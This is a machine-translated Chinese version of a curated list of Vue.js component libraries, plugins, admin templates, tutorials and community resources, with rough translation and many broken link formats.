2。muse-ui-Vue.js 的材料组件库 2。buefy-基于布尔玛框架的组件。element-ui-用于 Web 的 Vue.js 2.0 UI 工具包。vue-bulma-components-对 vue 组件轻松使用 bulma 类语法。iview-ui-适用于 Web 的 Vue.js 2.0 UI 框架。AT-UI-Vue.js 2.0 使用 ♥ 制作的专门用于桌面应用程序的全新扁平 UI-Kitv-semantic-Vue 的semantic-ui的实现bootstrap-vue-Vue.js 2 的bootstrap-4网格和组件的实现。fish-ui-用于 Web 的 Vue.js 2.0 UI 工具包zircle-ui-开发可缩放用户界面的前端库。vue-mdc-adapter-根据 MDC 团队[指南]的 Vue.js 的材料组件集成(https://github.com/material -components / material-components-web / blob / master / docs / integrating-into-frameworks.md)。Material Components Vue- [material-components-web]的包装器(https://github.com/material-components/material-components-网络)的 Vue.jsVueFace-用于 Web 的 Vue.js 2.0 UI 组件库vuesax-Vue.js 的前端 vue 组件。vuecidity-Vue.js 2.0 的 UI 组件框架ant-design-vue-基于 Ant Design 和 Vue 2.5.0 的企业级 UI 组件heyui-(https://www.heyui.top/zh)-适用于 Web 的 Vue.js 2.0 UI 工具包。Carvue.js-IBM 的 Vue.js 碳设计系统BalmUI-Vue.js 的下一代 Material UIOsiris UI-:art:一个 Vue.js 2.0 通用响应式 UI 组件库N3-components-使用 Vue 2 构建的漂亮 Web 组件碎片 Vue-✨ 基于 Bootstrap 4 框架的时尚&UI 组件库。基础 Vue-基于 SAP Fiori 基础的组件。Framevuerk-🚀 快速,响应迅速,无依赖性,基于 Vue.js 的方向支持和可配置 UI 框架。@ Carbon / vue-@carbon 团队的 Carbon Design System 组件。NutUI-适用于移动网络的 Vue.js 2.0 UI 工具包Inkline-Inkline 是用于 Vue.js 的现代 UI / UX 框架,旨在创建完美的响应式 Web 应用程序。vue-awesome-mui-用于 Web 的 Vue.js 2.0 MUI 组件MDBootstrap-基于最新的 Bootstrap 4 和 Vue 2.6.10 的强大 UI 工具包,提供了一组平滑的,响应式页面模板,布局,组件和小部件,以快速构建响应迅速,移动优先的网站和应用。手机Framework7-Vue-使用 Framework7&Vue 构建功能齐全的 iOS 和 Android 应用。vux- [中文]基于 WeUI 的 Vue UI 组件。vue-onsenui-使用 HTML5 和 JavaScript 的移动应用开发框架和 SDK。创建美观,高性能的跨平台移动应用程序。基于 Web 组件,并提供 Angular 1、2,React 和 Vue.js 的绑定。Weex-Weex 提供了发布跨平台的功能,因此 Web,Android 和 IOS 应用程序可以使用相同的 API 开发功能。weex-eros- [中文] Eros 是基于 Weex 和 Vue 的应用程序解决方案,使您能够使用 Vue 的 API,简单快速地开发 Vue 中小型应用程序。mint-ui-Vue.js 的移动 UI 元素。vant-来自 YouZan 的 Vue.js 2.0 移动用户界面。cube-ui-Vue.js 编写的出色的移动 ui lib 实现 2。mand-mobile-基于 Vue.js 2 的移动 UI 工具包,专为金融场景而设计。组件集合vue-mdc-Vue.js 的 Material Components Web。keen-ui-用 Vue 编写并受 Material Design 启发的基本 UI 组件的轻量级集合。vue-admin-Vue 管理面板框架,由 Vue 2.0 和 Bulma 0.3 提供支持。vuikit-具有 Vue 所有功能的 UIkit。uiv由 Vue2 实现的 Bootstrap3 组件。wffranco / vue-strap-使用 Vue.js 2 构建的 Bootstrap 3 组件jsmod-vue-pc-适用于 vue 2.0 的高度可扩展的 Web 组件guilhermewaess / SemVue-使用 Vue 2 实现的语义 UI 模块office-ui-fabric-vue-Vue.js 的 Office UI Fabric 实现vuestic-admin-带有自定义组件集合的 Vue Admin 仪表板。内置 Vue 2 和 Bootstrap 4语义 UI Vue-Vue 的语义 UI 集成vuesax-Vue.js 的前端 vue 组件。Vue 的基本 JS 2-功能齐全的 45+ Vue.js 组件,其中包括数据网格,图表,计划程序和图表组件等。Banshee-一个几乎没有渲染的 Vue UI 组件和实用程序框架,没有 CSS。vue-atlas-漂亮的 Vue 组件库。DevExtreme Vue 组件-65+响应迅速且功能完善的 Vue UI 组件,具有可自定义的 Material Design 和 Bootstrap 兼容主题。jqwidgets-70 多个具有 Material Design 主题的 Vue.js 2.0 UI 组件。vue-uix-Vue.js 中用于网页实现的 UI 集合vuedarkmode-Vue.js 的极简暗设计系统 🎨Kendo Vue 用户界面–为业务应用程序构建的 70 多个 UI 组件,包括网格。对多种设计语言(包括材料设计和 Bootstrap)的支持完全响应。Vuent-实现 Microsoft Fluent Design 的 Vue.js 组件bpit / vue-专注于效果的 Vue 组件库vue-tailwind-具有可自定义类的 Vue 组件可用于 TailwindCSS,但与任何框架兼容。管理模板iView Vue 管理员-iView Vue 管理员/基于 iView 2.x 的管理门户模板element Vue Admin-element Vue Admin /基于 Element UI 2.x 的管理门户模板vue-element-admin-基于 Element UI 2.x 的神奇 vue 管理员D2 管理员-vue 制作的优雅后台模板在线演示rest-admin-基于 Vue 和 Bootstrap 4 的 Restful 管理面板在线演示Shards Dashboard Lite Vue-✨ 现代管理模板,具有数十个自定义组件和模板。Vue 材质管理员-Vue 材质设计管理员模板element-admin-使用 Vue CLI 3 和 element-ui 的简单而强大的 vue 管理员。服务器端渲染Nuxt.js-通用的 Vue.js 框架。Ream-用于构建服务器呈现的静态网站的简约框架。Universal vue-Vue CLI 插件,可轻松创建通用 Vue 应用程序静态网站生成器VuePress-简约的 Vue 驱动的静态网站生成器。Peco-人类的静态网站生成器。未维护Sabre-一个静态网站生成器,用于使用 Vue.js 构建快速的网站。Gridsome-使用 Vue.js 构建超快速,现代化的网站其他app-framework-具有 HTML 和 JavaScript 的 IOS 和 Android 应用程序-开发,构建和部署-免费和开源。Myfirebase-一种已解耦的单页应用程序框架,该框架与 google firebase 高度兼容。Vue-Access-Control基于 Vue.js 的前端访问控制框架 2。Basys工具箱,用于构建完整的 Vue.js 应用程序CabloyJS基于 KoaJS&EggJS&VueJS&Framework7 的终极 NodeJS 全栈业务开发平台事件处理vue-shortkey-Vue-ShortKey-Vue.js 的插件。vue-throttle-event-基于 requestAnimationFrame 的油门事件。vue-waypoint-Vue 的 Waypoint 组件,这是滚动时触发功能的最简单方法。vue-clickaway-可重用的 Vue.js 组件的可重用 clickaway 指令。vue-scrollfire-在特定的滚动位置触发事件。vue-resize-directive-Vue 指令可检测具有去污和节流能力的调整大小事件。v-click-outside-Vue 指令对元素外部的点击做出反应,而不会停止事件传播。vue-outside-events-Vue 2.x 指令可帮助指定元素侦听发生在自身外部的特定事件。vue-selectable-Vue 1.x / 2.x 指令可通过鼠标选择项目。vue-click-helper-Vue2.x 指令可处理同一元素上的 click 事件和 dblclick 事件。v-hotkey-Vue 2.x 指令,用于将热键绑定到组件。vue-resize-Vue 2.x 组件可检测 DOM 元素的大小调整(基于事件/无 window.onresize)vue-observe-visibility-使用 Intersection Observer API 的 Vue 2.x 指令可检测元素是否可见(在视口中是否被隐藏) CSS)。v-dragged-用于拖动事件检测的 Vue 2.x 指令插件。vue-esc-Vue.js 指令,可在转义键盘上添加文档事件监听器。vue-global-events–使用 Vue 的事件修饰符处理全局事件(如快捷方式)的组件vue-edge-check–检查浏览器边缘,以防止用`vue-router'滑动边缘时奇怪地触发过渡效果vue-mutation-observer–使用 MutationObserver API 观察 DOM 中变化的简单而微小的指令vue-scroll-show–如果用户在滚动后到达该元素,则显示该元素vue-tabevents–其他打开的标签页之间易于通信vue-visibility-trigger-👀 滚动到视图时以声明方式触发方法响应式设计vue-viewports-定义您的自定义视口,并在组件中使用它们。vue 响应:Vue.js(2.x)指令用于隐藏/显示具有 Bootstrap 4、3 或自定义断点的 HTML 元素。vue-match-media-Vue 2.x 兼容插件,提供一致,语义化的方法来使组件具有媒体查询意识。vue-media-query-mixin-Vue 2 媒体查询 mixin 可以在组件 js 和组件模板中使用。与引导程序和可视化视口兼容。如果屏幕宽度为 xs,则返回 wxS;如果屏幕宽度为 sm,则返回 wSM。vue-breakpoints-Vue 2 最小组件,用于显示和隐藏基于断点的元素。受到 Airbnb 的启发。vue-mq-提供一些有用的工具,以语义和移动优先的 API(Vue 2.x)快速设置响应式设计VueResizeSensor-支持调整大小事件的容器。vue-breakpoint-component-用于 组成 CSS 断点状态。fine-mq-一个很好的 API,可以轻松地管理 JS 中的媒体查询,并且可以与 VueJS 作为插件进行一流的集成。vue-response-components-使用ResizeObserver创建响应组件。vue-screen-size-可以轻松,被动地访问屏幕的宽度和高度。验证vue-formly-JavaScript 支持的 Vue.js 表单。vue-focus-用于可重用 Vue.js 组件的可重用 focus 指令。vue-form-generator-Vue.js 的基于架构的表单生成器组件。FormSchema Native-使用 JSON Schema 和 Vue.js 生成表单ic-formly-由 vue-formly 提供支持的简单表单组件。表单生成器-基于 Json 模板的表单生成器,基于 Vue 和 Laravel。vue-autofocus-directive-Vue 自动聚焦指令。vue-awesome-form-一个 vue.js 组件,就像 json-editorvue-form-components-带有验证的干净&最小化 vue 表单元素ncform-一种非常好的配置生成表单的方式vee-validate-简单的 Vue.js 输入验证插件。vue-rawmodel-Vue.js v2 的 RawModel.js 插件。表单验证从未如此简单。vuelidate-针对 Vue.js 的简单,轻量级基于模型的验证。simple-vue-validator-一个简单而灵活的 vue.js 验证器库。vue-vform-Vue.js 2 表单组件,集成了 jQuery 验证和 Axios。vue-form-Vue.js 的全面表单验证。vuelidation-简单,功能强大的 vuejs 验证。laravel-vue-validator-显示来自 laravel 验证规则的错误vue-daval-超级 vue 数据验证器。简便,简单,准确。willvalidate-Vue.js 的验证表单。vue-m-validator-用于 VueJ 的模型数据验证库。vue-isyourpasswordsafe-用 Vue 编写的小型实用程序,用于检查给定的密码是否已针对“我已被拥有” API 泄漏。vue-form-send-用于从表单和原始验证发送数据的 Vue.js 指令FormVuelar-考虑服务器端验证的 Vue 表单组件vue-final-validate-根据我的开发经验,Vue 验证解决方案支持嵌套,异步。vform-一种在 Vue 中处理 Laravel 后端验证的简单方法。调整大小vue-not-visible-Vue 指令,用于从屏幕上小于断点的 dom(如 v-if)元素中删除。vue-window-size-提供反应性窗口大小属性。vue-sensitive-text-↔ 相对于其父节点的宽度缩放其子节点的组件滚动vue-chat-scroll-Vue.js 2.0 的自动滚动至底部指令。vue-scrollto-添加了一个指令,该指令侦听单击事件并滚动到元素。vue-next-level-scroll-一种基于组件且支持 SSR 的方法,可使用现代 Scroll Behavior API 进行平滑滚动vue-scroll-sync-同步容器滚动位置的组件v-scroll-lock-用于正文滚动锁定而不中断目标元素滚动的 Vue.js 指令vue2-perfect-scrollbar-PerfectScrollbar 简约包装器vue-scroll-to-添加了一个指令,该指令侦听单击事件并滚动到元素。vue-scroll-progressbar-可自定义的组件,用于指示进度条中滚动的相对位置。vue-backtotop-Vue.js 的 Back-to-top 组件,单击该组件可将页面滚动到顶部。VBar-适用于 Vue.js 2x 的虚拟响应式跨浏览器滚动条组件。Vuebar-使用本地滚动行为的自定义滚动条的 Vue 2 指令。轻巧,高性能,可定制且无依赖性。vue-detached-scrollbar-一个简单的滚动条,可以从正在滚动的容器中分离出来。vuescroll-基于 Vue.js 的滚动插件,用于统一 PC 和移动设备中的滚动。vue-simplebar-Simplebar 插件的 Vue.js 包装器。smooth-vuebar-平滑滚动条的 Vue 指令包装vue-scrollview-一个组件,该组件利用作用域的插槽来检测 vue 组件何时进入和离开视口。vue-scrollactive-根据视口中的当前部分在菜单项中添加一个活动类,单击菜单项时也会滚动到该部分。vue-intersect-一个 Vue 组件,用于向 Vue 组件或 HTML 元素添加交集观察者。vue-scrollmonitor-一个 Vue 插件,可在支持多种浏览器的情况下观看视口内部元素的可见性状态(使用提供/注入,因此兼容 vue@2.2 。X)vue-stroll-适用于 Vue.js 2.x 的超棒 CSS3 列表滚动效果组件。navscroll-js-在滚动时突出显示菜单项,并且在单击菜单项时也会滚动到某个部分。用作 vue 组件,vue 指令或与 vanilla js 一起使用。vue-scrollwatch-一个轻便的插件,可检测滚动事件,在元素进入视口时自定义回调,将'scrollTo'api 暴露给特定元素。使用 vue 指令。vue-check-view-一个检查元素是否在视口中的插件。快速,小型,无依赖性,实时演示。vue-stickto-支持多个 DOM 节点的 vue 指令会自动粘贴到顶部vue2-scrollspy-一个 scrollspy 插件和动画滚动到。vue-scroll-behavior-自定义路线导航中的滚动行为。特别是哈希模式。vue-scroll-stop-到达边缘时停止传播滚动。vue-seamless-scroll-Vue.js 的简单无缝 滚动。路由vue-router-Vue.js 的官方路由器。vue-router-storage-Vue.js 2 和 vue-router 2 的路由器存储和解决方案vue-tidyroutes-分散的 vue-router 路由定义vue-routisan-基于 Laravel 路由系统的 Vue 路由器的优雅路由定义vue-error-page-提供路由器视图的包装器,使您可以显示错误页面而不更改 URLvue-router-sitemap-通过 vue-router 配置生成 sitemap.xmlvue-smart-route-智能路由指令,可使用 Vue.js 制作具有智能外观的应用程序。vue-router-lite-Vue.js 2 的基于组件的声明性路由器。延迟加载vue-lazyload-一个 Vue.js 插件,用于将图像或组件延迟加载到应用程序中。vue-lazy-background-images-延迟加载 Vue 2 的背景图像。vue-progressive-image-Vue 渐进式图像加载插件。vue-l-lazyload-Vue.js v2.x +的 lazyload 插件。vue-lazyload-img-专门针对移动浏览器进行了优化。支持 V2 和 v1。vue-lazy-images-Vue 2.x 的 lazyload 图像插件。v-lazy-img-Tiny(<0.6kb)指令,用于 Vue 2 的渐进式图像加载。vue-clazy-load-使用 IntersecionObserver for Vue 2 的轻量级可转换图像延迟加载组件。vue-lazy-this-使用 Intersection Observer API 的延迟加载组件。v2-lazy-list-一个基于 Vue 2.x 的简单的延迟加载列表组件pimg-一个用于延迟加载图像的简单渐进图像组件。vue-tiny-lazyload-img-用于延迟加载图像的小尺寸 Vue.js v.2 +指令vue-lazy-youtube-video-一个用于延迟加载 YouTube 视频的简单 Vue.js 组件。lazyload-vue-适用于 vanilla-lazyload 的 Vue 插件。分页vue-paginate-一个简单的 vue.js 插件,可对数据进行分页。vue-pagination-2-Vue.js 2 分页组件。vuejs-uib-pagination-适用于 Vue.js 的最佳,完整的分页插件。受角引导分页启发。vuejs-paginate-用于创建分页的 Vue.js(v2.x +)组件。vue-pagination-bootstrap-一个 Vue.js(1.x&2.x)服务器端分页组件,带有基于 Bootstrap 的模板laravel-vue-semantic-ui-pagination-与 Laravel 和 Semantic-UI 一起使用的 Vue.js 2.x 分页。vue-paginate-al-Vue 分页并返回您的数据。vue-tiny-pagination-用于创建微小分页的 Vue 组件。laravel-vue-pagination-适用于 Laravel 分页器的 Vue.js 分页组件,可与 Bootstrap 一起使用。vue-lpage-低级 Vue 分页组件。v 页-一个简单的分页栏,包括基于 Vue2.x 的长度菜单,i18n 支持。vue-smart-pagination-具有许多不错设置的任何数据的智能分页。vue-paginatron-分页组件使用范围插槽道具构建,具有最大的灵活性。vue-ads-pagination-使用 css 框架[tailwindcss](https://tailwindcss.com/docs/what -is-tailwind /)动画vue2-animate-Animate.css 的 Vue.js 2.0 端口。与 Vue 的内置转换一起使用。animated-vue-一个 Vue.js 2.x 插件,可轻松使用 Animate.css 动画作为过渡。就像``一样简单!vue-lottie-一个 Vue.js 2.x 插件,用于基于 bodymovin 渲染特效动画Vueg-使 vue-router 具有过渡效果/为 webApp 提供转场特效的开源 Vue 插件v-animate-css-最容易实现 Animate.css 的 Vue 2 指令vue-mixin-tween-Mixin 工厂,它将补间值添加到动画的组件上下文中v-odometer-轻松平滑地转换数字。使用此库可为您的应用程序提供平滑的动画,仅适用于数字。vue2-transitions✨ 可重复使用的 Vue 2 过渡组件vue-overdriveVue 应用程序的超级简单的魔术移动过渡 🎩animated-number-vue超级简单的数字动画方法。vue-typed-js集成了 Typed.js,可轻松创建打字动画。vue-parent-change-transition启用子组件在更改父组件时进行动画处理。vue-smooth-reflow响应数据变化而转换元素重排。VueTween允许组件补间其属性。vue-slide-up-down就像 jQuery 的slideUp /slideDown一样,但是对于 Vue!vue-animejsVue 的简单anime.js指令。Eagle.jsEagle.js 是 Vue.js 的基于 Web 的幻灯片框架。vue-posePose for Vue 是一个声明式运动系统,结合了 CSS 过渡的简单性和 CSS 的强大功能和灵活性 JavaScript。vue-slide-up-down-component这是一个简单的界面,但是实现了非常灵活而强大的幻灯片动画 Vue!femtoTween具有一流 Vue 支持的简约(零深度,小于 1k)补间库vue-sequential-entrance插件,用于创建带有页面元素列表的优雅的连续动画入口。零努力。简单轻巧vue-animate-scroll一种超级轻量级 的方法,可在元素滚动到视图中时向其添加 CSS 动画。vue-svg-transition创建 2 状态,SVG 驱动的过渡vue-page-transitionVue.js 的简单路由/页面转换元标记vue-head-管理 head 标签的元信息,一种简单的方法。vue-meta-在 Vue 2.0 组件中管理页面元信息。支持 SSR +流媒体。vue-headful-从视图中设置文档``和 meta 标签。vue-simple-headful-使用 vue.js 轻松设置元标记-具有 TypeScript 支持的更简单的vue-headful替代方法。传送门vue-dom-portal-Vue.js 组件中 DOM 元素的转义口。portal-vue-一个 Vue 插件,用于在 DOM 中的任何位置渲染组件的模板(在 virtualDOM 级别上有效,不会在 DOM 中移动节点)过滤器vue2-filters-适用于 Vue 2. *的标准过滤器 Vue 1. *的集合。vue-morphling-Vue 2 的标准和自定义过滤器的集合。vue-currency-filter-轻巧且可自定义的 Vue 2 货币过滤器。vue-trans-一个简单的过滤器,提供了与 Symfony trans 相似的翻译方式。vue-string-filter-轻量级 Vue 2 字符串处理过滤器。vue-units-在 Vue 2 中使用的方便的单位转换过滤器的集合。vue-numeral-filter-过滤器的集合,允许在组件的模板部分内联使用 Numeral.js。vue-filter-date-format-Vue 2 的简单日期时间过滤器。vue-filter-pluralize-Vue 2 的简单复数过滤器。vue-filter-date-parse-Vue 2 的简单解析日期时间过滤器。SVGvue-svgicon-创建 svg 图标组件的工具。(版本 2.x)。vue-content-loading-Vue 组件可轻松构建(或使用预设)Facebook 之类的 SVG 加载卡。vue-annotator-使用任何 SVG 元素(“ rect”,“ polygon”以及其他更多元素,即使包装了 HTML 元素如“ canvas”,也可以为页面添加注释)在foreignObject中)vue-svg-sprite-简单使用 SVG sprite(vue 2.x)的指令。vue-svg-filler-用于自定义 svg 文件 🖍(vue 2.x)的 Vue 组件。其他vue-resource-progressbar-interceptor-将进度条与所有请求联系在一起的拦截器,很明显,正在加载某些东西。vue-images-loaded-Vue.js 2.0 指令可检测图像加载。vue-visible-VueJS(2.x)的 v-visible 指令,类似于 v-show 但具有可见性。vue-resize-sensor-用于检测容器大小的组件(基于事件)v-blur-Vue 指令动态模糊元素vue-async-methods-用于基于承诺的方法的帮助程序实用程序vue-openseadragon-适用于 Vue.js 的 OpenSeaDragon 组件(缩放和平移)vue-match-heights-指令将元素的高度设置为相同。vue-conditional-attrs-用于条件渲染属性和指令的 Vue.js 组件vue-cbsc-一个 Vue.js 2.x 组件,用于以编程方式混合,着色和转换颜色。vue-spatialnavigation-用于空间导航(键盘导航)的 Vue 指令(Vue.js 2.x)vue-lifecycle-Vue.js 生命周期指令。vue-aspect-ratio-vue 的长宽比指令。@ kooljay82 / vue-m-camera-为避免自动更改通过用户设备的相机拍摄的照片方向。WebGLvue-3d-model-Vue 组件中的 3D 模型查看器。vue-pano-Vue 组件中的全景查看器。vue-threejs-Three.js 的 Vue 绑定。VueGL-Vue.js 组件通过 three.js 反应性地渲染 3D 图形vue-vr-使用 Vue 构建 VR 应用程序的框架vue-displacement-slideshow-一个 Vue.js 组件,可简化 Webgl 图像位移转换。全屏vue-fullscreen-用于全屏的简单 Vue 组件。页面可见性vue-page-visibility-awesome-易于配置的页面可见性 api 的 Vue 2.x 组件。vue-authplugin-美观的 auth 控制插件,支持指令和原型方法。打印vue-html-to-paper-Vue mixin 用于将 html 元素打印到纸张上。
vue资源官方资源官方指南API 参考GitHub 回购发行说明样式指南Vue.js 新闻外部资源vue.js 资料まとめ(日语)by @hashrockVue.js 新闻稿-每周精选的 Vue.js 新闻的剂量Vue.js 提示-成为更好的 Vue.js 开发人员的提示Vue.js WikipediaVue.js Radar-精选的新闻通讯和网站,涵盖了新的 Vue.js 版本/贡献。Vue 新闻-专注于最新 Vue.js 新闻和信息的社交网站。Vue 精选资源-推荐的 Vue.js 课程和教程。BuiltForVue-所有 Vue.js 组件和软件包的 NPM 镜像。Vue School-通过核心成员和行业专家的视频课程学习 Vue.jsVueDose。有关忙碌的开发人员的 Vue 生态系统的提示和技巧。Vuelibs。基于 awesome-vue 存储库的 Vue.js 库和组件的简约列表。工作门户Vue.js 职位-VueJobs-一个 Vue.js 职位门户,可为您所有的 Vue.js 职位招聘或录用。Vue.js 面试问题-300 个 VueJS 面试问题和答案列表社区Twitter官方论坛vue-requests-请求您希望存在的 Vue.js 模块或获取有关模块的想法会议VueConfVue.js 伦敦VueConf USVueConf 多伦多播客Full Stack Radio#30(11-23-2015)JavaScript Jabber#187(11-25-2015)Changelog#184(11-27-2015)软件工程日报(2015 年 12 月 29 日)JavaScript Air 016(2016 年 3 月 30 日)[Codecasts#2-Falando Sobre Vuejs e Web Components(2016-08-19)pt-BR]Full Stack Radio#50(09-21-2016)[和 Vue.js 框架的作者聊聊前端框架开发背后的故事zh-CN]MW S04E08-Vue.js 与 Evan You 和 Sarah Drasner(04-27-2017)提交请求#12-众筹开源(Vue.js)(06-15-2017)The Web Platform Podcast 132:Vue.js(07-27-2017)带有 MaximilianSchwarzmüller 的 JavaScript Jabber#276(08-29-2017)使用 Sarah Drasner 动画 VueJS(软件工程日报 01-12-2017)Vue 观看次数(Vue 每周播客开始于 2018 年 3 月 6 日)官方 Vue.js 新闻播客通过 QIT 技术播客索引器播出的 Vue 播客列表DNE 138-Vale a pena VueJS 吗?(01-05-2018)Cynical Developer#99(10-15-2018)语法#130(03-27-2019)Youtube 渠道VueNYCVueConf 欧盟官方例子基本示例Vue.js TodoMVCCoffeeScript 版本Vue.js HackerNews CloneVue.js 2.0 HackerNews Clone讲解Vue.js 屏幕录像关于 Laracasts -Auth0 博客上的Vuejs 2 身份验证教程[Scotch.io 上的使用 Vue.js 创建 GitHub File ExplorerVue.js 教程关于 VegibitVue.js 使用 webpack,vue-loader 和热重装从零开始构建设置Vuex 基础:教程和说明Vuex 简介视频-来自伦敦 Vue.js 聚会#1 的 James Browne -Laravist 上的Vue.js 中文系列视频教程[craigmckenna.com 上的使用 Vue.js 开发反应式发票应用程序带有葡萄牙语的 Laravel 和 Vue.js 的混合应用示例,作者@vedovelli -oguzhan.in 上的Vue.js 土耳其语简介Vue.js 西班牙语视频教学系列(3-8-2016)在 YouTube 上由 JuanAndrésNúñez 制作[Stude.net 上的Vue.js 西班牙语电视广播系列 -bhnddowinf 上的讲解 Vue.js 官网中文-含代码,百度云,youtube[Pusher 上的使用 VueJS,ES2015 和 Webpack 探索实时应用] -sekolahkoding.com 上的印尼语中的 Vue.js.dev 中来自 Scratch 系列的 Vue.js 俄语[Flask,RethinkDB,Vue.js,ч。СтвореннясервісудлязберіганняфайлівзFlask。1乌克兰VueJS 2 法语教程Françaispar GrafikartJayway Vue.js 2 研讨会。使用 vue-router,vuex 和 vue-resource 构建一个电子商务站点如何使用 Wijmo 控件创建出色的 VueJS 应用程序 -bhnddowinf 上的讲解 Vue.js 2 官网中文-含代码,百度云,youtubeVue.js 备忘单:服务器端应用程序,路由器,Vuex 存储,GraphQL 等由@xpepermint使用 Vue.js 加载类似图片的媒体[Metric Loop]上的如何在 Laravel Spark 项目中使用 Vuex /metricloop.com/blog)[Metric Loop]上的如何在 Vuex 中设置模块(https://metricloop.com/blog ) -关于 Laracasts 的学习 Vue 2:循序渐进Vue.js 中文教程在 Vue.js 2.0 框架上启动和运行在 SitePoint 上[Metric Loop]上的如何使用 Vuex 进行 API 调用(https://metricloop.com/blog )[度量循环](https:// metricloop)上的如何使用 Vuex 构建功能。 com / blog) -DevMarketer 在 YouTube 上发布了Vue.js 2.0 基础知识[无知的 Vuex-Vue 的应用程序数据存储上缺少的入门手册](https://medium.com/js-dojo/vuex-for-the-clueless-the-missing-primer-on-vues-application-data -store-33fa51ffc3af#.2j25xpfui)实时网格组件 Laravel,Vue.js,Vuex 和 Socket.ioVueJS 2-完整指南(包括 Vuex)-Udemy 教程在egghead.io上使用 Vue.js 开发 Web 应用Vue.js 2-入门Vue.js 2 和 Vuex(基本)Fatih Acet在 YouTube 上的TürkçeVueJSEğitimVideoları[通过六个步骤从头开始在 Vue.js 中构建 JSON 树视图组件](https://devblog.digimondo.io/building-a-json-tree-view-component-in-vue-js-from-scratch -由Arvid Kahl在digimondo devblog上的-in-six-steps-ce0c05c2fdd8#.738ok0l4p)Vue!-Illya Klymov 在 YouTube 上的 OpenLecture 2017.01 俄语(@xanf)@afropolymath(https://afropolymath.svbtle.com/bootstrapping-your-first-vue-js-project/)。 com / afropolymath)[@分离]的从头开始构建 vue-hackernews-2.0(https://github.com/Detachment)[使用 vue-kindergarten 为您的 Vue.js 和 Nuxt.js 应用程序提供基于角色的授权](https://medium.com/@JiriChara/role-based-authorization-for-your-vue-js-and-nuxt- js 应用程序使用 vue 幼儿园-fd483e013ec5#.kp81np177)完整的 Vue.js 应用程序教程-使用 Vue 创建简单的预算应用程序,作者为@matthiaswhVue.js 教程:经过渲染的 SEO 友好示例[Vue.js 简介,供仅了解足够的 jQuery 的人使用](https://medium.com/@mattrothenberg/vue-js-introduction-for-people-who-know-just-enough-jquery-to -通过 eab5aa193d77 获取)使用 Vue.js 和 Axios 从第三方 API 获取数据Vue 2 的趣味项目(视频),作者:Packt 的 Peter van Meijgaard。(2017 年 4 月)[Vue JS:同时运行 Express 和 Webpack Dev Server](Henrik Fogelberg)在媒体上的(https://medium.com/dailyjs/vue-js-simultanelyly-running-express-and-webpack-dev-server-292f4a7ed7a3)[The Net Ninja]在 YouTube 上发布了Vue JS 2 教程(https://www.thenetninja.co.uk)在 5 分钟内将无头 CMS 添加到 VueJ 中vue 架构中的观察者使用 Vue.js 构建您的第一个应用5 个学习 Vue.js 的实用示例[@jesalg]的从 KnockoutJS 迁移至 VueJS(https://twitter.com/jesalg)通过 Vue.js 创建测验由[@ rap2h](https://twitter.com/ rap2h)[@chadcampbell]的Vue.js:入门(https://twitter.com/chadcampbell)Vue.js 2 和 Firebase-构建实时单页 Web 应用程序Vue.js 2 和 Vue 资源-具有外部 API 访问权限的实际应用程序面向初学者的 Vue.js 交互式屏幕录像[AliGÖREN]在 YouTube 上发布的Vue.JS ile NASAAPI'ınıKullanarak VeriÇekme(https://aligoren.com)使用 Vue.js 2 进行 Web 开发(视频),作者是 Packt 的 Olga Filipova。(2017 年 6 月)使用 VueJS 和 Pusher 建立实时图表Vue 简介,前端大师课程的回购关于 CSS 技巧的 Vue 指南在您的 VueJS 应用中使用打字稿 -关于 nodelover 的Vue.js 视频系列,免费,入门,实战 -ninghao.net 上的Vue.js 预览[@chadcampbell]的Vue.js:开发机器设置(https://twitter.com/chadcampbell)使用 Vue-router 构建 Vue v2 JS 应用 @mikestreety[@Atom_Hernandez][https://medium.com/@davidatomhernandez/how-to-a-simple-carousel-with-vue-138715d615d7)制作自己的旋转木马](https://twitter.com / Atom_Hernandez)[使用官方 Vue 测试工具和 Jest 对 Vue.js 组件进行单元测试](https://alexjoverm.github.io/series/Unit-Testing-Vue-js-Components-with-the-Official-Vue-Testing- @alexjoverm的 Tools-and-Jest /)[创建 Vue.js 过渡和动画:实时示例,作者为@udyuxdev创建自定义 Vue.js 插件VueJS 第 1 部分中的异步VueJS 第 2 部分中的异步[@mikestreety]https://www.mikestreety.co.uk/blog/vue-js-using-localstorage-with-the-vuex-store)使用[不带插件的 Vuex 存储使用 localStorage] //twitter.com/mikestreety)[@mikestreety]的使用道具通过 Vue Router 访问组件内的 URL 参数(@mikestreety)(https://twitter.com/mikestreety)[使用 Pm2 和 Nginx 在生产中部署 Vue.js — SSR(Vuetify)](https://medium.com/@kamerk22/deploy-vue-js-ssr-vuetify-on-production-with-pm2-and- nginx-ec7b5c0748a3)laracast上的Testing Vue Components[[CodyLSeibert]的[使用 Vue.js 和 Express.js 构建全栈 Web 应用](https://twitter.com/CodyLSeibert )Vue.js 2 条食谱(视频),由 Packt 的 Peter van Meijgaard 撰写。(2017 年 9 月)[Sabe.io]上的Vue.js 入门(https://sabe.io/)使用 Vue 2 构建您的第一个高级 CRUD 应用程序(视频)(https://www.packtpub.com/web-development/building-your-first-advanced-crud-application-vue-2-video)范·迈加德(Pack Meitgaard)(2017 年 7 月)프론트엔드Vue.js입문서[Inflearn]上的누구나다루기쉬운Vue.js(视频) ](https://www.inflearn.com/),由[Captain Pangyo](https://joshua1988.github.io/)在 2 小时内建立一个 Vue.js 博客顶部在Snipcart[Sales Bhatnagar @sachinbee的VueJS 2 入门 Udemy[Sabe.io]上的Vuex 入门:在 Vue.js 中管理状态(https://sabe.io/)[Sergii Stotskyi 的使用 CASL 的 Vue2 ACL][简化 JavaScript 选择-Angular 诉 React 诉 Vue(视频)](https://www.packtpub.com/application-development/javascript-choice-made-easy-%E2%80%93-angular- v-react-v-vue-video),Packt 的 Daniel Kmak。(2017 年 11 月) -Storyblok 博客上的使用 Auth0 的 Vuejs 2.5+身份验证教程带有 Vue 的 GraphCMS 初学者指南在 GraphCMS 上在 Chrome 和 VS Code 中调试 Vue.js此食谱展示了如何将 Debugger for Chrome 扩展程序与 VS Code 一起使用调试由 Vue CLI 生成的 Vue.js 应用程序。[Packet Sachin Bhatnagar 的Vue JS 2 入门(视频)。(2018 年 1 月)使用 Vue.js 构建电影应用界面,作者是 Hassan Djirdeh,[@ djirdehh](https: //twitter.com/djirdehh)让我们建立一个自定义的 Vue.js 路由器,作者:Hassan Djirdeh,[@djirdehh](https:// twitter .com / djirdehh)由 Vue,Webpack 4 和 Babel 入门,作者是 Bjorn Krols,[@ KrolsBjorn](https ://twitter.com/KrolsBjorn)如何将 Bootstrap 4 添加到您的 Vue 项目,作者:Bjorn Krols,@ KrolsBjorn[如何将语义 UI 添加到您的 Vue 